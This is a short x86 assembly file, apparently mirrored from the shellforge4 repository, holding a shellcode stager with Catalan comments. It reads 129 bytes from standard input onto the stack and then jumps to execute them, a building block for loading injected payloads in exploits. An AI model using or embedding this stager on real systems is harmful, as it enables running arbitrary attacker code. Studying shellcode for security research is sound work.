mirror of
https://github.com/rizinorg/shellforge4.git
synced 2026-11-08 15:59:52 -10:00
19 lines
829 B
ArmAsm
Executable File
19 lines
829 B
ArmAsm
Executable File
.file "small_read.c"
|
|
.text
|
|
.globl main
|
|
.type main, @function
|
|
main:
|
|
movl %esp, %ecx # a ecx el parametre del read que sera la direccio on guardar. en aquest
|
|
# cas pot ser una mica perillos no pujar el esp ja que matxacarem dades de la
|
|
# pila del proces que teniem fins ara
|
|
movl $129, %edx # quantitat de bytes a llegir per el read. Podem posar el valor que volguem
|
|
# sense augmentar el tamany del shellcode.
|
|
xor %ebx, %ebx # ebx = a 0 pq llegim de lestandard input
|
|
movl $3, %eax # eax = 3 q es el read
|
|
int $0x80 # fer la crida a sistema
|
|
call *%esp # saltar a executar el codi que hem copiat
|
|
.size main, .-main
|
|
.section .note.GNU-stack,"",@progbits
|
|
.ident "GCC: (GNU) 3.4.6 (Gentoo 3.4.6-r2 p1.5, ssp-3.4.6-1.0, pie-8.7.10)"
|
|
|